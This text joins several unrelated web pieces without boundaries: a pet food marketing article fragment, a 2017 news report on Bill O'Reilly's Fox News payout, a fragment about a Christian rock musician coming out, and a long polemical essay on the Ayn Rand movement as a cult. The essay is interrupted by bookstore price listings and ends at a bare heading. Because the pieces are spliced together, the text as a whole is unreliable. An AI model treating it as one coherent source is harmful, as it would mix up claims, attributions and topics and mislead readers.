“If soy is bad, why is pea good?” asked Ryan Yamka. Yamka is an animal nutritionist certified by the American College of Animal Sciences, as well as founder and independent consultant with Luna Science and Nutrition. “It all comes down to marketing,” he said.
Dogs aren’t doing the shopping
Pet food in the U.S. falls under a mix of federal and state regulations. Owners looking for assurance that a food meets their pets’ nutritional needs should look for the “Complete and Balanced” nutritional adequacy statement on the package.
The statement is based on the dog or cat food nutrient profiles set by the Association of American Feed Control Officials and guarantees that the food is nutritionally balanced. Aafco has no enforcement power of its own, but most commercially available pet foods sold online comply with its profiles, no matter what ingredients are in them.
“Pets don’t need ingredients, they need nutrients,” said Mary Emma Young, the communications director at the Pet Food Institute, the industry’s trade group, repeating a popular refrain in the pet food world. They also need to be able to digest the nutrients – and to like the food, or they won’t eat it.
And while there is no shortage of consumers, bloggers and competitors questioning the safety and health of mass-produced pet foods, especially since the massive 2007 pet food recall that followed the poisoning of thousands of pets, the industry puts significant resources into research to meet the guidelines Aafco sets.
Nestle Purina alone has more than 500 scientists on staff, including food scientists, nutritionists and veterinarians.
Yamka traces the ingredient obsession back to the recall, in which Chinese suppliers added contaminants to wheat gluten and rice protein concentrate to boost protein levels.
“Somehow soy and corn got rolled in,” he said, and companies began advertising “absence claims” to bring in concerned customers. “It made it easy to make wheat and grains the boogeyman.”
Add in the lifestyle trends emerging on the human side – gluten-free this, grain-free that – and pet food marketers found a willing consumer base.
“Nobody kept up with Blue Buffalo in marketing and advertising,” Yamka said. “You had a lot of market leaders back then trying to mimic that, but they couldn’t.”
April 20, 2017, 5:54 PM GMT / Updated April 20, 2017, 11:14 PM GMT By Erik Ortiz
Bill O'Reilly's forced exit from Fox News is netting him a payout of up to $25 million, two sources with knowledge confirmed to NBC News.
The former Fox News anchor inked a new four-year contract last month guaranteeing he make that much annually, according to a person with knowledge of that deal. The contract did allow Fox to fire him in general if controversy was harming the network, the person added.
His severance has not been disclosed publicly, but was part of the agreement for him parting ways with parent company 21st Century Fox, New York magazine journalist Gabe Sherman earlier told TODAY.
The media company announced Wednesday it was dropping O'Reilly's prime-time political punditry show, "The O'Reilly Factor," amid mounting sexual harassment allegations made by former staffers and guests.
The New York Times revealed earlier this month that O'Reilly and his bosses paid about $13 million to five women in exchange for them not pursuing lawsuits or speaking about their cases.
In a statement following his ouster, O'Reilly said he was proud of his last 20-plus years at the cable network and again denied the accusations.
"It is tremendously disheartening that we part ways due to completely unfounded claims. But that is the unfortunate reality many of us in the public eye must live with today," said O'Reilly, 67, adding, "I wish only the best for Fox News Channel."
Related: How Much Money Did O'Reilly Bring in for Fox?
His payout would appear to be smaller than that given to former Fox News honcho Roger Ailes, who resigned last summer after facing his own spate of sexual harassment complaints made by female staffers. Ailes — who became the channel's founding CEO in 1996, the same year O'Reilly joined — reportedly received $40 million as part of his separation agreement. Ailes has also denied wrongdoing.
While O'Reilly was a star of the network, bringing in about 3.9 million viewers a night in recent months, Sherman said the accusations became too much — and even 21st Century Fox Chairman Rupert Murdoch could no longer justify keeping him on.
"Really this was a storm that the Murdoch family wanted to weather, but ultimately, they realized they couldn't," Sherman said.
Mr. Pearson, 35, has enjoyed a successful career in Christian rock with Everyday Sunday, whose 2009 album “Best Night of Our Lives” reached No. 15 on Billboard’s Christian albums chart and No. 187 on the Billboard 200. The band also produced 20 top-ten singles on the Christian rock charts. He said he has toured in 50 states and 20 countries.
He also spent two decades trying to make himself straight, he said.
His letter, published in (614) Columbus, an arts and culture magazine in his hometown, Columbus, Ohio, detailed the long process of accepting his sexuality and reconciling it with his Christian faith. In the end, he said, it was his growth as a Christian that helped propel his coming out.
In the America of the 1970s we are all too familiar with the religious cult, which has been proliferating in the last decade. Characteristic of the cult (from Hare Krishna to the “Moonies” to EST to Scientology to the Manson Family) is the dominance of the guru, or Maximum Leader, who is also the creator and ultimate interpreter of a given creed to which the acolyte must be unswervingly loyal. The major if not the only qualification for membership and advancement in the cult is absolute loyalty to and adoration of the guru, and absolute and unquestioning obedience to his commands. The lives of the members are dominated by the guru's influence and presence. If the cult grows beyond a few members, it naturally becomes hierarchically structured, if only because the guru cannot spend his time indoctrinating and watching over every disciple. Top positions in the hierarchy are generally filled by the original handful of disciples, who come to assume these positions by virtue of their longer stint of loyal and devoted service. Sometimes the top leadership may be related to each other, a useful occurrence which can strengthen intra-cult loyalty through the familial bond.
The goals of the cult leadership are money and power. Power is achieved over the minds of the disciples through inducing them to accept without question the guru and his creed. This devotion is enforced through psychological sanctions. For once the acolyte is imbued with the view that approval of, and communication with, the guru are essential to his life, then the implicit and explicit threat of excommunication – of removal from the direct or indirect presence of the guru – creates a powerful psychological sanction for the “enforcement” of loyalty and obedience. Money flows upward from the members through the hierarchy, either in the form of volunteer labor service contributed by the members, or through cash payments.
It should be clear at this point in history that an ideological cult can adopt the same features as the more overtly religious cult, even when the ideology is explicitly atheistic and anti-religious. That the cults of Hitler, Mussolini, Stalin, Trotsky, and Mao are religious in nature, despite the explicit atheism of the latter, is by now common knowledge. The adoration of the cult founder and leader, the hierarchical structure, the unswerving loyalty, the psychological (and when in command of State power, the physical) sanctions are all too evident.
The Exoteric and the Esoteric
Ayn Rand and the World... Anne Conover Heller Best Price: $2.29 Buy New $8.00 (as of 12:45 EST - Details)
Every religious cult has two sets of differing and distinctive creeds: the exoteric and the esoteric. The exoteric creed is the official, public doctrine, the creed which attracts the acolyte in the first place and brings him into the movement as a rank-and-file member. The quite different creed is the unknown, hidden agenda, a creed which is only known to its full extent by the top leadership, the “high priests” of the cult. The latter are the keepers of the Mysteries of the cult.
But cults become particularly fascinating when the esoteric and exoteric creeds are not only different, but totally and glaringly in mutual contradiction. The havoc that this fundamental contradiction plays in the minds and lives of the disciples may readily be imagined. Thus, the various Marxist-Leninists cults officially and publicly extol Reason and Science, and denounce all religion, and yet the members are mystically attracted to the cult and its alleged infallibility.
Thus, Alfred G. Meyer writes of Leninist views on party infallibility:
Lenin seems to have believed that the party, as organized consciousness, consciousness as a decision-making machinery, had superior reasoning power. Indeed, in time this collective body took on an aura of infallibility, which was later elevated to a dogma, and a member's loyalty was tested, in part, by his acceptance of it. It became part of the communist confession of faith to proclaim that the party was never wrong…. The party itself never makes mistakes.1
If the glaring inner contradictions of the Leninist cults make them intriguing objects of study, still more so is the Ayn Rand cult, which, while in some sense is still faintly alive, flourished for just ten years in the 1960s; more specifically, from the founding of the Nathaniel Branden lecture series in early 1958 to the Rand-Branden split ten years later. For not only was the Rand cult explicitly atheist, anti-religious, and an extoller of Reason; it also promoted slavish dependence on the guru in the name of independence; adoration and obedience to the leader in the name of every person's individuality; and blind emotion and faith in the guru in the name of Reason.
Virtually every one of its members entered the cult through reading Rand's lengthy novel Atlas Shrugged, which appeared in late 1957, a few months before the organized cult came into being. Entering the movement through a novel meant that despite repeated obeisances to Reason, febrile emotion was the driving force behind the acolyte's conversion. Soon, he found that the Randian ideology sketched out in Atlas was supplemented by a few non-fiction essays, and, in particular, by a regular monthly magazine, The Objectivist Newsletter (later, The Objectivist).
The Index of Permitted Books
Since every cult is grounded on a faith in the infallibility of the guru, it becomes necessary to keep its disciples in ignorance of contradictory infidel writings which may wean cult members away from the fold. The Catholic Church maintained an Index of Prohibited Books; more sweeping was the ancient Muslim cry: “Burn all books, for all truth is in the Koran!” But cults, which attempt to mold every member into a rigidly integrated world view, must go further. Just as Communists are often instructed not to read anti-Communist literature, the Rand cult went further to disseminate what was virtually an Index of Permitted Books. Since most neophyte Randians were both young and relatively ignorant, a careful channeling of their reading insured that they would remain ignorant of non- or anti-Randian ideas or arguments permanently (except as they were taken up briefly, brusquely, and in a highly distorted and hectoring fashion in Randian publications).
The philosophical rationale for keeping Rand cultists in blissful ignorance was the Randian theory of “not giving your sanction to the Enemy.” Reading the Enemy (which, with a few carefully selected exceptions, meant all non- or anti-Randians) meant “giving him your moral sanction,” which was strictly forbidden as irrational. In a few selected cases, limited exceptions were made for leading cult members who could prove that they had to read certain Enemy works in order to refute them. This book-banning reached its apogee after the titanic Rand-Branden split in late 1968, a split which was the moral equivalent in miniature of, say, a split between Marx and Lenin, or between Jesus and St. Paul. In a development eerily reminiscent of the organized hatred directed against the arch-heretic Emanuel Goldstein in Orwell's 1984, Rand cultists were required to sign a loyalty oath to Rand; essential to the loyalty oath was a declaration that the signer would henceforth never read any future works of the apostate and arch-heretic Branden. After the split, any Rand cultist seen carrying a book or writing by Branden was promptly excommunicated. Close relatives of Branden were expected to – and did – break with him completely.
Atlas Shrugged Ayn Rand Best Price: $1.98 Buy New $8.00 (as of 09:30 EST - Details)
Interestingly enough for a movement which proclaimed its devotion to the individual exertion of reason, to curiosity, and to the question "Why?" cultists were required to swear their unquestioning belief that Rand was right and Branden wrong, even though they were not permitted to learn the facts behind the split. In fact, the mere failure to take a stand, the mere attempt to find the facts, or the statement that one could not take a stand on such a grave matter without knowledge of the facts was sufficient for instant expulsion. For such an attitude was conclusive proof of the defective “loyalty” of the disciple to his guru, Ayn Rand.
Steel-Hardened Cadre Man
Frank Meyer writes, in his The Moulding of Communists,2 of the series of crises that Communists repeatedly go through in their career in the Party. From his account, it is clear that the rank-and-file member joins the party from being attracted to the official or exoteric creed; but, as he continues in the Party and rises through its hierarchical structures, he is confronted with a series of crises that test his mettle, that either drive him out of the party or convert him increasingly into a steel-hardened cadre man. The crises might be ideological, say, justifying slave labor camps or the Stalin-Hitler pact, or it might be personal, to demonstrate that one's loyalty to the party is higher than to friends, family, or loved ones. The continuing pressure of such crises leads, unsurprisingly, to a very high turnover in Communist ranks, creating a sea of ex-Communists far larger than the party itself at any given time.
A similar but far more intensive process remained at work throughout the years of the Randian movement The Randian neophyte typically joined the movement emotionally caught by Atlas and impressed by the concepts of reason, liberty, individuality, and independence. A series of crises and growing inner contradictions was then necessary to gain power over the minds and lives of the membership, and to inculcate absolute loyalty to Rand, both in ideological matters and in personal lives. But what mechanisms did the cult leaders use to develop such blind loyalty?
One method, as we have seen, was to keep the members in ignorance. Another was to insure that every spoken and written word of the Randian member was not only correct in content but also in form, for any slight nuance or difference in wording could and would be attacked for deviating from the Randian position. Thus, just as the Marxist movements developed jargon and slogans which were clung to for fear of uttering incorrect deviations, the same was true in the Randian movement. In the name of “precision of language,” in short, nuance and even synonyms were in effect prohibited.
Another method was to keep the members, as far as possible, in a state of fevered emotion through continual re-readings of Atlas. Shortly after Atlas was published, one high-ranking cult leader chided me for only having read Atlas once. “It's about time for you to start reading it again,” he admonished. “I have already read Atlas thirty-five times.”
The rereading of Atlas was also important to the cult because the wooden, posturing, and one-dimensional heroes and heroines were explicitly supposed to serve as role models for every Randian. Just as every Christian is supposed to aim at the imitation of Christ in his own daily life, so every Randian was supposed to aim at the imitation of John Galt (Rand's hero of heroes in Atlas). He was always supposed to ask himself in every situation "What would John Galt have done?" When we remind ourselves that Jesus, after all, was an actual historical figure whereas Galt was not, the bizarrerie of this injunction can be readily grasped. (Although from the awed way Randians spoke of John Galt, one often got the impression that, for them, the line between fiction and reality was very thin indeed.)
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Her Bible
The Biblical nature of Atlas for many Randians is illustrated by the wedding of a Randian couple that took place in New York. At the ceremony, the couple pledged their joint devotion and fealty to Ayn Rand, and then supplemented it by opening Atlas – perhaps at random – to read aloud a passage from the sacred text.
Wit and humor, as might be gathered from this incident, were verboten in the Randian movement. The philosophical rationale was that humor demonstrates that one “is not serious about one's values.” The actual reason, of course, is that no cult can withstand the piercing and sobering effect, the sane perspective, provided by humor. One was permitted to sneer at one's enemies, but that was the only humor allowed, if humor that be.
Personal enjoyment, indeed, was also frowned upon in the movement and denounced as hedonistic “whim-worship.” In particular, nothing could be enjoyed for its own sake – every activity had to serve some indirect, “rational” function. Thus, food was not to be savored, but only eaten joylessly as a necessary means of one's survival; sex was not to be enjoyed for its own sake, but only to be engaged in grimly as a reflection and reaffirmation of one's “highest values”; painting or movies only to be enjoyed if one could find “rational values” in doing so. All of these values were not simply to be discovered quietly by each person – the heresy of “subjectivism” – but had to be proven to the rest of the cult. In practice, as will be seen further below, the only safe aesthetic or romantic “values” or objects for the member were those explicitly sanctioned by Ayn Rand or other top disciples.
As in the case of all cults and sects, a particularly vital method for moulding the members and keeping them in line was maintaining their constant and unrelenting activity within the movement. Frank Meyer relates that Communists preserve their members from the dangerous practice of thinking on their own by keeping them in constant activity together with other Communists. He notes that, of the major Communist defectors in the United States, almost all defected only after a period of enforced isolation. In short, they had room to think for themselves (e.g., being in the army, going underground, etc.). In the case of Randians – particularly in New York City, where the movement was largest and Rand and the top hierarchy all lived – activity was continuous. Every night one of the top Randians lectured to different members expounding various aspects of the “party line”: on basics, on psychology, fiction, sex, thinking, art, economics, or philosophy. (This structure reflected the vision of Utopia outlined in Atlas Shrugged itself, where every evening was spent with the heroes and heroines lecturing to each other.)
Failure to attend these lectures was a matter of serious concern in the movement. The philosophical rationale for the pressure to attend these meetings went as follows:
Randians are the most rational people one could possibly meet (a conclusion derived from the thesis that Randianism was rationality in theory and in practice); You, of course, want to be rational (and if you didn't, you were in grave trouble in the movement); Ergo, you should be eager to spend all your time with fellow Randians and a fortiori with Rand and her top disciples if possible.
The logic seemed impeccable, but what if, as so often happens, one didn't like, even couldn't stand, these people? Under Randian theory, emotions are always the consequence of ideas, and incorrect emotions the consequence of wrong ideas, so that therefore, personal dislike of other (and especially of leading) Randians must be due to a grave canker of irrationality which either had to be kept concealed or else confessed to the leaders. Any such confession meant a harrowing process of ideological and psychological purification, supposedly ending in one's success at achieving rationality, independence, and self-esteem and therefore an unquestioning and blind devotion to Ayn Rand.
One incident of suppressed doubt of Randian tenets is revealing of the psychology of even the leading cult members. One top young Randian, a veteran of the movement in New York City, admitted privately one day that he had grave doubts on a key Randian philosophic tenet: I believe it was the fact of his own existence. He was deathly afraid to ask the question, it being so basic that he knew he would be excommunicated on the spot for simply raising the point; but he had complete faith that if Rand should be asked the question, she would answer it satisfactorily and resolve his doubts. And so he waited, year after year, hoping against hope that someone would ask the question, be expelled, but that his own doubts would then be resolved in the process.
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In the manner of many cults, loyalty to the guru had to supersede loyalty to family and friends – typically the first personal crises for the fledgling Randian. If non-Randian family and friends persisted in their heresies even after being hectored at some length by the young neophyte, they were then considered to be irrational and part of the Enemy and had to be abandoned. The same was true of spouses; many marriages were broken up by the cult leadership who sternly informed either the wife or the husband that their spouses were not sufficiently Randworthy. Indeed, since emotions resulted only from premises, and since the leaders' premises were by definition supremely rational, that top leadership presumed to try to match and unmatch couples. As one of them asserted one day: “I know all the rational young men and women in New York and I can match them up.” But suppose that Mr. A was matched with Miss B and one of them didn't like the other? Well, once again, “reason” prevailed: the dislike was irrational, requiring intensive psychotherapeutic investigation to purge oneself of the erroneous ideas.
Psychological Hold
The psychological hold that the cult held on the members may be illustrated by the case of one girl, a certified top Randian, who experienced the misfortune of falling in love with an unworthy non-Randian. The leadership told the girl that if she persisted in her desire to marry the man, she would be instantly excommunicated. She did so nevertheless, and was promptly expelled. And yet, a year or so later, she told a friend that the Randians had been right, that she had indeed sinned and that they should have expelled her as unworthy of being a rational Randian.
But the most important sanction for the enforcement of loyalty and obedience, the most important instrument for psychological control of the members, was the development and practice of Objectivist Psychotherapy. In effect, this psychological theory held that since emotion always stems from incorrect ideas, that therefore all neurosis did so as well; and hence, the cure for that neurosis is to discover and purge oneself of those incorrect ideas and values. And since Randian ideas were all correct and all deviation therefore incorrect, Objectivist Psychotherapy consisted of (a) inculcating everyone with Randian theory – except now in a supposedly psycho-therapeutic setting; and (b) searching for the hidden deviation from Randian theory responsible for the neurosis and purging it by correcting the deviation.
It is clear that, considering the emotional and psychological power of the psychotherapeutic experience, the Rand cult had in its hands a powerful weapon for reinforcing and sanctioning the moulding of the New Randian Man. Philosophy and psychology, explicit doctrine, social pressure, and therapeutic pressure, all reinforced each other to generate obedient and loyal acolytes of Ayn Rand.
It is no wonder that the enormous psychological pressure of cult membership led to an extremely high turnover in the Randian movement, relatively far more so than among the Communists. But so long as he was in the movement, a new Randian Man emerged, a grim and joyless figure indeed. For a while the Randians would discourse at length on “happiness,” and on the alleged fact of their perpetual state of being happy, it became clear on closer examination that they were happy only by definition. That in short, in Randian theory, happiness refers not at all to the ordinary language meaning of subjective states of contentment or joy, but to the alleged fact of using one's mind to the fullest (i.e., in agreement with Randian precepts).
In practice, however, the dominant subjective emotions of the Randian cultist were fear and even terror: fear of displeasing Rand or her leading disciples; fear of using an incorrect word or nuance that would get the member into trouble; fear of being found out in the “irrationality” of some ideological or personal deviation; fear, even, of smiling at an unworthy (i.e., non-Randian) person. Such fear was greater than that of a Communist member, because the Randian had far less leeway for ideological or personal deviation. Furthermore, since Rand had an absolute and total line on every conceivable question of ideology and daily life, all aspects of such life had to be searched – by oneself and by others – for suspicious heresies and deviations. Everything was the object of fear and suspicion. There was the fear of making an independent judgment, for suppose that the member was to make a statement on some subject on which he did not know Rand's position, and then were to find out that Rand disagreed. The Randian would then be in grave trouble, even if the only problem were that his language was a bit differently nuanced. So it was far more prudent to keep silent and then check with headquarters for the precisely correct line.
Check With Headquarters
Thus, one time a leading Randian attorney was giving a speech on Randian political theory. During the question period, he was caught short by being asked how he could reconcile Rand's support for the compulsory subpoena power with the Randian political axiom of non-initiation of force. He hemmed and hawed, and then said that he had to think about this – a code phrase for hurriedly checking with Rand and the other leaders on the proper answer.
Part of the continuing need to check with headquarters came from the fact that Rand, though considered infallible by her disciples, changed her mind a great deal, particularly on concrete personalities or institutions. The fundamental line change on Branden is a glaring example, as well as the line change on other formerly high-ranking Randians who were expelled from the movement. But far more frequent if less important were changes of position on show business folk whom Rand might have met. Thus, the “line” on such people as Johnny Carson or Mike Wallace (prominent TV personalities) changed rapidly – largely because of Rand's discovering various heresies and alleged betrayals on their part. If the Randian member was not attuned to these changes, and happened to aver that Carson was “rational” or had a benevolent “sense of life” when he had already been designated as irrational or malevolent, he was in for serious trouble and inquiry into the rationality of his own premises.
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Driven by their conception of rational duty, every Randian lived in – and indeed was himself – a community of spies and informers, ready to ferret out and denounce any deviations from Randian doctrine. Thus, one time a Randian, walking with a girl friend, told her that he had attended a party at which several Randians had made an impromptu tape imitating the voices of the top Randian leaders. Stricken by this dire information and after spending a sleepless night, the girl rushed to inform the top leadership of this terrible transgression. Promptly, the leading participants were called on the carpet by their Objectivist Psychotherapist and bitterly denounced in their “therapy” sessions: “After all,” said the therapist, “you wouldn't mock God.” When the owner of the tape refused the therapist's demand to relinquish it so that it could be inspected in detail, his doom as a member of the movement was effectively sealed.
No Randian, even the top leadership, was exempt from the all-pervasive fear and repression. Every one of the original cadre, for example, was placed on probation at least once, and was forced to demonstrate his loyalty to Rand at length and in numerous ways. How such an atmosphere of fear and censorship crippled the productivity of Randian members may be seen by the fact that not one of the top Randians published any books while in the movement (all of Branden's books, for example, were published after his expulsion). The only exception that proves the rule was the authorized exercise in uncritical adulation, Who Is Ayn Rand? by Barbara Branden.
But if the Randian lived in a state of fear and awe of Rand and her leading disciples, there were psychological compensations; for he could also live in the exciting and comforting knowledge that he was one of a small number of the elect, that only the members of this small band were in tune with reason and reality. The rest of the world, even those who were seemingly intelligent, happy, and successful, were really living in limbo, cut off from reason and from understanding the nature of reality. They could not be happy because cult theory decreed that happiness can only be achieved by being a committed Randian; they couldn't even be intelligent, since how could seemingly intelligent people not be Randians, especially if they commit the gravest sin – failing to become Randians once they were exposed to this new gospel.
Excommunications and Purges
We have already mentioned the excommunications and “purges” in the Randian movement. Often, the excommunications – especially of important Randians – proceeded in a ritual manner. The errant member was peremptorily ordered to appear at a “trial” to hear charges against him. If he refused to appear – as he would if he had any shred of self-respect left – then the trial would continue in absentia, with all the members present taking turns in denouncing the expelled member, reading charges against him (again in a manner eerily reminiscent of 1984). When his inevitable conviction was sealed, someone – generally his closest friend – wrote the excommunicate, a bitter, febrile, and portentous letter, damning the apostate forevermore and excluding him forever from the Elysian fields of reason and reality. Having his closest friend take the leading part in the heresy proceeding was of course important as a way of forcing the friend to demonstrate his own loyalty to Rand, thereby clearing himself of any lingering taint by association. It is reported that when Branden was expelled, one of his closest former friends in New York sent him a letter proclaiming that the only moral thing he could do at that point was to commit suicide – a strange position for an allegedly pro-life, pro-individual-purpose philosophy to take.
The break with the apostate – even if once closest friends – had to be uncompromising, permanent, and total. Thus, a woman, very high in the Randian hierarchy, once hired a Randian girl to be her assistant in editing a magazine. When the woman was summarily expelled from the movement, her assistant refused to talk to her at all, except strictly in the line of business – a position steadfastly maintained despite the obvious tensions at the office that had to result.
As is true of all witch-hunting groups, the greatest sin was not so much the specific transgressions of the member, but any refusal to sanction the heresy-hunting procedure itself. Thus, Barbara Branden reported that her greatest sin was held to be her refusal to attend, and therefore to sanction the legitimacy of, her own trial, and other purgees have had similar tales to tell.
It should come as no surprise to learn that, in contrast to most other psychotherapies, the Objectivist Psychotherapists served as stern moral guardians for the troops. “Immoral” patients were expelled from therapy, a practice that reached its apogee when patients of Objectivist Psychotherapists were expelled for simply asking their therapists the reasons for the Rand-Branden split.
Thus, kept in ignorance of the world, of facts, ideas, or people who might deviate from the full Randian line, held in check by adoration and terror of Rand and her anointed hierarchy, the grim, robotic, joyless Randian Man emerged.
For the moulding processes of the cult did succeed in creating a New Randian Man – for so long as the man or woman remained in the movement. People were invariably transformed by the moulding process from diverse, often likeable men and women to grim, tense, hostile poseurs – whose personalities could best be summed up by the word “robotic.” Robotically, the Randians intoned their slogans, generally imitating the poses and manner of Nathaniel and Barbara Branden, and further, imitating their common cult vision of heroes and heroines of the Randian fictional canon. If any criticism of Rand or her disciples were made, or any arguments were pressed that they could not answer, the Randians would adopt a tone of high offense: “How dare you say such a thing about her?,” turn on their heels and stomp off. No smile, nor many other human qualities, managed to shine through their ritualized faade. Many of the young men managed to look like carbon copies of Branden, while the young women tried to look like Barbara Branden, replete with the cigarette-holder held aloft, derived from Ayn Rand herself, that was supposed to symbolize the high moral standards and the mocking contempt wielded by Randian heroines.
Son of Rand
Some Randians emulated their leader by changing their names from Russian or Jewish to a presumably harder, tougher, more heroic Anglo-Saxon. Branden himself changed his name from Blumenthal; it is perhaps not a coincidence, as Nora Ephron has pointed out, that if the letters of the new name are rearranged, they spell, B-E-N-R-A-N-D, Hebrew for “son of Rand.” A Randian girl, with a Polish name beginning with “G-r,” announced one day that she was changing her name the following week. When asked deadpan, by a humorous observer whether she was changing her name to “Grand,” she replied, in all seriousness, that no she was changing it to “Grant” – presumably, as the observer later remarked, the “t” was her one gesture of independence.
If looking and talking and even being named like the top Randians was the most “rational” way to act, and seeing them as much as possible was the most rational form of activity, then surely residing as close as possible to the leaders was the rational place to live. Thus, the typical New York Randian, upon his or her conversion, would leave his parents and find an apartment as close to Rand's as possible. As a result, virtually the entire New York movement lived with a few square blocks of each other in Manhattan's East 30's, many of the leaders in the same apartment house as Rand's.
If continuing an intense psychological pressure was in part responsible for the extremely high turnover among Randian disciples, another reason for this turnover was the very fact that the movement had a rigid line on literally every subject, from aesthetics to history to epistemology. In the first place it meant that deviation from the correct line was all too easy: Preferring Bach, for example, to Rachmaninoff, subjected one to charges of believing in a “malevolent universe.” lf not corrected by self-criticism and psychotherapeutic brainwashing, such deviation could well lead to ejection from the movement. Secondly, it is difficult to impose a rigid line on every area of life and thought when, as was the case with Rand and her top disciples, they were largely ignorant of these various disciplines. Rand admitted that reading was not her strong suit, and the disciples, of course, were not allowed to read the real world of heresies even if they had been inclined to do so. And so the young convert – and they were almost all young – began to buckle when he learned more about his own chosen subject. Thus, the historian, upon learning more his subject, could scarcely rest content with long outdated Burkhardtian clichs about the Renaissance, or the pap about the Founding Fathers. And if the disciple began to realize that Rand was wrong and oversimplified in his own field, it was easy for him to entertain fundamental doubts about her infallibility elsewhere.
Rational Tobacco
The all-encompassing nature of the Randian line may be illustrated by an incident that occurred to a friend of mine who once asked a leading Randian if he disagreed with the movement's position on any conceivable subject. After several minutes of hard thought, the Randian replied: “Well, I can't quite understand their position on smoking.” Astonished that the Rand cult had any position on smoking, my friend pressed on: “They have a position on smoking? What is it?” The Randian replied that smoking, according to the cult, was a moral obligation. In my own experience, a top Randian once asked me rather sharply, “How is it that you don't smoke?” When I replied that I had discovered early that I was allergic to smoke, the Randian was mollified: “Oh, that's OK, then.” The official justification for making smoking a moral obligation was a sentence in Atlas where the heroine refers to a lit cigarette as symbolizing a fire in the mind, the fire of creative ideas. (One would think that simply holding up a lit match could do just as readily for this symbolic function.) One suspects that the actual reason, as in so many other parts of Randian theory, from Rachmaninoff to Victor Hugo to tap dancing, was that Rand simply liked smoking and had the need to cast about for a philosophical system that would make her personal whims not only moral but also a moral obligation incumbent upon everyone who desires to be rational.
If the Rand line was totalitarian, encompassing all of one's life, then, even when all the general premises were agreed upon and Randians checked with headquarters to see who was In or Out, there was still need to have some “judicial” mechanism to resolve concrete issues and to make sure that every member toed the line on that question. No one was ever allowed to be neutral on any issue. The judicial mechanism to resolve such concrete disputes was, as usual in cults, the rank one enjoyed in the Randian hierarchy. By definition, so to speak, the higher-ranking Randian was right, the lower one wrong, and everyone accepted this Argument from Authority that might have seemed not exactly consonant with the explicit Randian devotion to Reason.
One amusing incident illustrates this decision-by-hierarchy. One day a dispute over concretes occurred between two certified and high-ranking Randians, both of whom had been dubbed as rational by their Objectivist Psychotherapist. Specifically, one was a secretary to the other. The secretary went to her boss and demanded a raise, which she rationally intuited was her just dessert. The boss, however, checking his own reason, decided that she was incompetent and fired her. Now here was a dispute, a conflict of interest, between two certified Randians. How were all the other members to decide who was right, and therefore rational, and who was wrong, irrational, and therefore subject to expulsion? In any truly rational group of people, of course, it would not be incumbent upon anyone but these – the only ones familiar with the facts of the case – to take any position at all. But that sort of benign neutrality is not permitted in any cult, including the Randian one. Given the need to impose a uniform line on everyone, the dispute was resolved in the only way possible: through rank in the hierarchy. The boss happened to be in the top rank of disciples; and since the secretary was on a lower rank, she not only suffered discharge from her job, but expulsion from the Randian movement as well.
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The Pyramid
And the Randian movement was strictly hierarchical. At the top of the pyramid, of course, was Rand herself, the Ultimate Decider of all questions. Branden, her designated “intellectual heir,” and the St. Paul of the movement, was Number 2. Third in rank was the top circle, the original disciples, those who had been converted before the publication of Atlas. Since they were converted by reading her previous novel, The Fountainhead, which had been published 1943, the top circle was designated in the movement as “the class of ’43.” But there was an unofficial designation that was far more revealing: “the senior collective.” On the surface, this phrase was supposed to “underscore” the high individuality of each of the Randian members; in reality, however, there was an irony within the irony, since the Randian movement was indeed a “collective” in any genuine meaning of the term. Strengthening the ties within the senior collective was the fact that each and every one of them was related to each other, all being part of one Canadian Jewish family, relatives of either Nathan or Barbara Branden. There was, for example, Nathan's sister Elaine Kalberman; his brother-in-law, Harry Kalberman; his first cousin, Dr. Allan Blumenthal, who assumed the mantle of leading Objectivist Psychotherapist after Branden's expulsion; Barbara's first cousin, Leonard Piekoff; and Joan Mitchell, wife of Allan Blumenthal. Alan Greenspan's familial relation was more tenuous, being the former husband of Joan Mitchell. The only non-relative in the class of ’43 was Mary Ann Rukovina, who made the top rank after being the college roommate of Joan Mitchell.
These were the disciples before the publication of Atlas. After that, Branden began his basic lecture series, which soon evolved into the Nathaniel Branden Institute, the organizational arm of the movement. Eventually, NBI was established in Rand's symbolically heroic Empire State Building, although it resided unheroically in the basement. In New York City, the various lectures and lecture series were put on in person; outside New York, each city or region had a designated NBI representative, who was in charge of putting on performances of the lectures on tape. The NBI rep was generally the most robotic and faithful Randian in his particular area, and so attempts were made, largely though not always totally successfully, to duplicate the atmosphere of awe and obedience pervading the mother section in New York. Determined efforts were made to translate Rand's mass readership of her best-selling works into faithful disciples who would first subscribe to The Objectivist, and then keep attending NBI taped lectures in their area, thus being inducted into the movement. If a flow of magazines, tapes, and recommended books went out from NBI to the rank-and-file members of the movement, a flow of money and volunteer labor inevitably traveled the reverse path, not excluding payments for psychotherapeutic services.
It has been evident throughout this paper that the structure and implicit creed, the actual functioning, of the Randian movement, was in striking and diametric opposition to the official, exoteric creed of individuality, independence, and everyone's acknowledging no authority but his own mind and reason. But we have not yet precisely focused upon the central axiom of the esoteric creed of the Randian movement, the implicit premise, the hidden agenda that insured and enforced the unquestioning loyalty of the disciples. That central axiom was the assertion the “Ayn Rand is the greatest person that has ever lived or ever shall live.” If Ayn Rand is the greatest person of all time, it follows that she is right on every question, or at the very least, will far more likely be correct at any time than the mere disciple, who grants himself no such all-encompassing greatness.
Typical of this attitude was a meeting of leading young Randians attended by a friend of mine. The meeting turned into a series of testimonials, in which each person in turn testified to the overriding influence that Ayn Rand had been in his own life. As one of them explained: “Ayn Rand has brought to the world the knowledge that A is A, and that 2 and 2 equal 4.” When a top Randian, on hearing that a notoriously refractory member who was in the process of leaving the movement had written a parody in the Randian philosophical manner, a “proof" that Ayn Rand was God, the Randian, in genuine puzzlement, asked: “He's kidding, isn't he?”
There was a generally consuming concern with greatness and rank among the Randians. It was universally agreed that Rand was the greatest person of all time. There was then a friendly dispute about the precise ranking of Branden among the all-time all-stars. Some maintained that Branden was the second greatest of all time; others that Branden tied for second in a dead heat with Aristotle. Such was the range of permitted disagreement within the Randian movement.
The adoption of the central axiom of Rand's greatness was made possible by Rand's undoubted personal charisma, a charisma buttressed by her air of unshakeable arrogance and self-assurance. It was a charisma and an arrogance that was partially emulated by her leading disciples. Since the rank-and-file disciple knew in his heart that he was not all-wise or totally self-assured, it became all too easy to subordinate his own will and intellect to that of Rand. Rand became the living embodiment of Reason and Reality and by some quality of personality Rand was able to bring about the mind-set in her disciples that their highest value was to earn her approval while the gravest sin was to incur her displeasure. The ardent belief in Rand's supreme originality was of course reinforced by the disciples' not having read (or been able to read) anyone whom they might have discovered had said the same things long before.
Ejection From Paradise
